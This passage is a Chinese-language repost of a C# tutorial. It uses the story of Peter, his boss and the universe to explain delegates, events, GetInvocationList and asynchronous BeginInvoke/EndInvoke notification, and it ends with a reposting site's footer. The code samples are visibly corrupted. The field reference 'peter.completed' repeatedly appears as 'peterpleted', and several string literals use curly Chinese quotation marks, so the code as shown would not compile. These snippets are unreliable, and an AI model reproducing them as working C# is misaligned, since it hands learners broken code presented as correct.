        Console.WriteLine("“工作: 工作完成”");
        if( completed != null ) {
            int grade = completed();
            Console.WriteLine(“工人的工作得分=” + grade);
        }
    }
    public WorkStarted started;
    public WorkProgressing progressing;
    public WorkCompleted completed;
}

class Boss {
    public int WorkCompleted() {
    Console.WriteLine("Better");
    return 4; /* 总分为10 */
}
}

class Universe {
    static void Main() {
        Worker peter = new Worker();
        Boss boss = new Boss();
        peterpleted = new WorkCompleted(boss.WorkCompleted);
        peter.DoWork();

        Console.WriteLine(“Main: 工人工作完成”);
        Console.ReadLine();

    }
}
静态监听者
  这样,彼得不会再拿他老板不想要的事件来烦他老板了,但是他还没有把宇宙放到他的监听者列表中。因为宇宙是个包涵一切的实体,看来不适合使用实例方法的委托(想像一下,实例化一个“宇宙”要花费多少资源…..),于是彼得就需要能够对静态委托进行挂钩,委托对这一点支持得很好:


class Universe {
    static void WorkerStartedWork() {
        Console.WriteLine("Universe notices worker starting work");
    }

    static int WorkerCompletedWork() {
        Console.WriteLine("Universe pleased with worker's work");
        return 7;
    }

    static void Main() {
        Worker peter = new Worker();
        Boss boss = new Boss();
        peterpleted = new WorkCompleted(boss.WorkCompleted);
        peter.started = new WorkStarted(Universe.WorkerStartedWork);
        peterpleted = new WorkCompleted(Universe.WorkerCompletedWork);
        peter.DoWork();

        Console.WriteLine(“Main: 工人工作完成”);
        Console.ReadLine();
    }
}


事件
  不幸的是,宇宙太忙了,也不习惯时刻关注它里面的个体,它可以用自己的委托替换了彼得老板的委托。这是把彼得的Worker类的的委托字段做成public的一个无意识的副作用。同样,如果彼得的老板不耐烦了,也可以决定自己来激发彼得的委托(真是一个粗鲁的老板):


// Peter's boss taking matters into his own hands
if( peterpleted != null ) peterpleted();
  彼得不想让这些事发生,他意识到需要给每个委托提供“注册”和“反注册”功能,这样监听者就可以自己添加和移除委托,但同时又不能清空整个列表也不能随意激发彼得的事件了。彼得并没有来自己实现这些功能,相反,他使用了event关键字让C#编译器为他构建这些方法:


class Worker {
    //
    public event WorkStarted started;
    public event WorkProgressing progressing;
    public event WorkCompleted completed;
}
  彼得知道event关键字在委托的外边包装了一个property,仅让C#客户通过+= 和 -=操作符来添加和移除,强迫他的老板和宇宙正确地使用事件。


static void Main() {
    Worker peter = new Worker();
    Boss boss = new Boss();
    peterpleted += new WorkCompleted(boss.WorkCompleted);
    peter.started += new WorkStarted(Universe.WorkerStartedWork);
    peterpleted += new WorkCompleted(Universe.WorkerCompletedWork);
    peter.DoWork();

    Console.WriteLine(“Main: 工人工作完成”);
    Console.ReadLine();
}
“收获”所有结果
  到这时,彼得终于可以送一口气了,他成功地满足了所有监听者的需求,同时避免了与特定实现的紧耦合。但是他注意到他的老板和宇宙都为它的工作打了分,但是他仅仅接收了一个分数。面对多个监听者,他想要“收获”所有的结果,于是他深入到代理里面,轮询监听者列表,手工一个个调用:


public void DoWork() {
   
    Console.WriteLine("“工作: 工作完成”");
    if( completed != null ) {
        foreach( WorkCompleted wc in completed.GetInvocationList() ) {
            int grade = wc();
            Console.WriteLine(“工人的工作得分=” + grade);
        }
    }
}
异步通知:激发 & 忘掉
  同时,他的老板和宇宙还要忙于处理其他事情,也就是说他们给彼得打分所花费的事件变得非常长:


class Boss {
    public int WorkCompleted() {
        System.Threading.Thread.Sleep(3000);
        Console.WriteLine("Better"); return 6; /* 总分为10 */
    }
}

class Universe {
    static int WorkerCompletedWork() {
        System.Threading.Thread.Sleep(4000);
        Console.WriteLine("Universe is pleased with worker's work");
        return 7;
    }
   
}


  很不幸,彼得每次通知一个监听者后必须等待它给自己打分,现在这些通知花费了他太多的工作事件。于是他决定忘掉分数,仅仅异步激发事件:

public void DoWork() {
   
    Console.WriteLine("“工作: 工作完成”");
    if( completed != null ) {
        foreach( WorkCompleted wc in completed.GetInvocationList() )
        {
            wc.BeginInvoke(null, null);
        }
    }
}
异步通知:轮询
  这使得彼得可以通知他的监听者,然后立即返回工作,让进程的线程池来调用这些代理。随着时间的过去,彼得发现他丢失了他工作的反馈,他知道听取别人的赞扬和努力工作一样重要,于是他异步激发事件,但是周期性地轮询,取得可用的分数。

public void DoWork() {
   
    Console.WriteLine("“工作: 工作完成”");
    if( completed != null ) {
        foreach( WorkCompleted wc in completed.GetInvocationList() ) {
            IAsyncResult res = wc.BeginInvoke(null, null);
            while( !res.IsCompleted ) System.Threading.Thread.Sleep(1);
            int grade = wc.EndInvoke(res);
            Console.WriteLine(“工人的工作得分=” + grade);
        }
    }
}


异步通知:委托
  不幸地,彼得有回到了一开始就想避免的情况中来,比如,老板站在背后盯着他工作。于是,他决定使用自己的委托作为他调用的异步委托完成的通知,让他自己立即回到工作,但是仍可以在别人给他的工作打分后得到通知:


    public void DoWork() {
       
        Console.WriteLine("“工作: 工作完成”");
        if( completed != null ) {
            foreach( WorkCompleted wc in completed.GetInvocationList() ) {
                wc.BeginInvoke(new AsyncCallback(WorkGraded), wc);
            }
        }
    }

    private void WorkGraded(IAsyncResult res) {
        WorkCompleted wc = (WorkCompleted)res.AsyncState;
        int grade = wc.EndInvoke(res);
        Console.WriteLine(“工人的工作得分=” + grade);
    }
 

 

更多推荐

网上找的好东西

本文发布于:2023-06-14 05:07:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1441086.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:东西   网上

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!